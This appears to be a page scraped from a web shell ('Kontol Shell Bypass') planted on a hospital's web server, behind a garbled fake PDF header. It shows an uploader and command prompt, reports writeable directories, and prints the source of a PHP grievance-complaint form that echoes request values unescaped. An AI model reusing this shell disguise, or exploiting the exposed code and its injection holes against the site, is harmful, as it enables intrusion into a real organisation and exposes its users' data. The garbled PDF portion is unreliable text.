%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/incident/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/incident/application/views/international_complaint.php
<section id="container" >
<?php include('_parts/user_internal_header.php') ?>
<?php include('_parts/sidebar.php') ?>
 <section id="main-content">
      <section class="wrapper complaint">
        <h4><i class="fa fa-angle-right"></i> Lodge Grievance</h4>

         <?php if($_GET['msg']=='success') { ?>
          <p class="alert alert-success"> Your complain has been successfully filled and your grievance No. is  <?php echo base64_decode($_GET['cnumber']); ?>. <a href="<?=base_url('grievancehistory')?>">Click here</a> to view Grievance history.</p>
        <?php }	if(is_array($error_msg) && !empty($error_msg)){  ?>
			<div class="alert alert-danger"> <?=$error_msg['error'] ?></div>
	    <?php } ?>

        <!-- BASIC FORM ELELEMNTS -->
        <div class="row mt">
          <div class="col-lg-12">
            <div class="form-panel">
              <form class="form-horizontal style-form" method="post" name="complaint" enctype="multipart/form-data">
              <div class="form1">
				<ul>
					<li>
						<label>Category <span style="color:red;">*</style></label>
						 <div class="category-radio">
							<span class="radio-inline radio-input">
							  <input type="radio" id="academic" name="academic" value="academic" onclick ="return redirect('1')" >
							  <label for="academic">Academic</label> 
							</span>
							<span class="radio-inline radio-input">
								<input type="radio" id="non-Academic" name="academic" value="non-Academic" onclick ="return redirect('2')" >
							  <label for="non-Academic">Non-Academic</label>
							 </span>
							 <span class="radio-inline radio-input">
								<input type="radio" id="International" name="academic" value="International" onclick ="return redirect('3')" checked>
							  <label for="International">International</label>
							 </span>
						 </div>  
					</li>
					<li>	
                     <label >Department <span style="color:red;">*</span></label>
					 <span class="select">
					 <select name="department_id" id="department_id" class="form-control" required="">
                      <option value="">Select Department</option>
					  <?php 
					  foreach($departmentArray as $key=>$row) {
                      ?>
                      <option value="<?=$row?>" <?php if($_POST['department_id']==$row) { echo 'selected'; }?>>
                        <?=$row?></option>
                      <?php
                      }
                      ?>
                    </select>
					  <i class="fa fa-chevron-down" aria-hidden="true"></i>
					  </span>
					</li>
					
					<li>
						<label>Nature of Grievance <span style="color:red;">*</span></label>
						<span class="select">
						  <select name="grievance_type" id="grievance_type" required="required" class="form-control" required>
							  <option value="">Select Grievance Type</option>
							  <?php foreach($grievanceArray as $row) {
								?>
							  <option value="<?php echo htmlentities($row['id']);?>" <?php if($_POST['grievance_type']==$row['id']) { echo 'selected'; }?>>
							  <?php echo htmlentities($row['grievance_name']);?></option>
							  <?php
							  }
							  ?>
							</select>
							  <i class="fa fa-chevron-down" aria-hidden="true"></i>
						</span>
					</li>
					<li>
						 <label>Please enter Grievance Description upto 4000 characters <span style="color:red;">*</span></label>
						   <textarea class="form-control" name="complaindetails" required="required" cols="10" rows="10" class="form-control"
                      maxlength="4000" required><?=$_POST['complaindetails']?></textarea>
					</li>
					<li>
						<label>Complaint Related Doc(if any max 5.0 MB) </label>
						   <p> <input type="file" name="complaint_doc" id="complaint_doc"  value=""> </p>
					</li>
					<li id="otp-send">
						<label>Mobile Number Verification</label>
						    <input type="text" class="form-control"  value="<?=$_SESSION['USER_DETAILS']['contactNo']?>" readonly>
							<a href="javascript:void(0);" id="send_user_otp">Send OTP</a>
						  
					</li>
					<li id="enter-otp">
						<label>Enter OTP <span style="color:red;">*</span></label>
						<input class="form-control" autocomplete="off" type="text" name="otp" value="" maxlength='6' required>
						  <div id="loading" style="display:none;margin: 0px; padding: 0px; position: fixed; right: 0px; top: 0px; width: 100%; height: 100%; z-index: 30001; opacity: 0.8;">
								<p style="position: absolute; color: White; top: 50%; left: 0;text-align:center; width:100%;">Loading, please wait...<img width="100" src="<?=base_url('assets/imgs/loading.gif')?>"></p>
						 </div>
					</li>
					<li>
						<span id="error_msg"><?=$error_msg?></span>
						<input  type="submit" name="submit" value="Submit" class="btn button5" />
					</li>
				</ul>
               
              </form>
            </div>
          </div>
        </div>
      </section>
    </section>
	<script src="<?php echo base_url(); ?>assets/js/jquery-3.0.0.js"></script>
	<script type="text/javascript">
	// baseURL variable
	var baseURL= "<?php echo base_url();?>";
   function redirect(type)
    {
		if(type=='1'){
			var url = "<?=base_url('lodgegrievance/academic/')?>";
			location.href = url;
		} else if(type=='2'){
			var url = "<?=base_url('lodgegrievance/nonacademic')?>";
			location.href = url;
		} else {
			var url = "<?=base_url('lodgegrievance/international')?>";
			location.href = url;
		}
   
    }
	
	$(document).ready(function(){
		
		$('.button5').click(function(){
			var school_id = '99';
			var department_id = $('#department_id').val();
			var grievance_type = $('#grievance_type').val();
			var otp = $('#otp').val();
			if(otp!='' && grievance_type!='' && department_id!='' && school_id!=''){
				$('#loading').show();
			}
		});
		
		$('#department_id').change(function(){
		var department_id = $(this).val();
		$.ajax({
				url:'<?= base_url('lodgegrievance/ajaxgetgrievancerecord') ?>',
				method: 'post',
				data: {department_id: department_id},
				dataType: 'json',
				success: function(response){
					// Add options
					
					$('#grievance_type').html('');
					$('#grievance_type').append($('<option>').text(' -- Select Grievance Type -- ').attr('value', ''));
					$.each(response,function(i,value){
						$('#grievance_type').append($('<option>').text(value).attr('value', i));
					});
					return false;
				}
			});
		});
		
		$('#send_user_otp').click(function(){
			var school_id = '99';
			var department_id = $('#department_id').val();
			var grievance_type = $('#grievance_type').val();
			var complaindetails = $('#complaindetails').val();
			$('#error_msg').html('');
			$('#loading').show();	
			if(school_id!='' && department_id!='' && grievance_type!='' && complaindetails!='')
			{
			$.ajax({
					url:'<?= base_url('lodgegrievance/sendotp') ?>',
					method: 'post',
					data: {send_otp: 1},
					dataType: 'json',
					success: function(response){
						// Add options
						if(response=='1001'){
							$('#error_msg').html('<p style="color:green">OTP Send Succssfully to your registered mobile number and email id.</p>');
						} else if(response=='1002'){
							$('#error_msg').html('<p style="color:green">OTP Resend Succssfully to your registered mobile number and email id.</p>');
						} else {
							$('#error_msg').html('<p style="color:red">Invalid request.</p>');
						}	
						$('#loading').hide();						
					}
				});
			} else {
				$('#error_msg').html('<p style="color:red">All above fields are required</p>');
				$('#loading').hide();	
			}
		});
		
		
});
</script>

Kontol Shell Bypass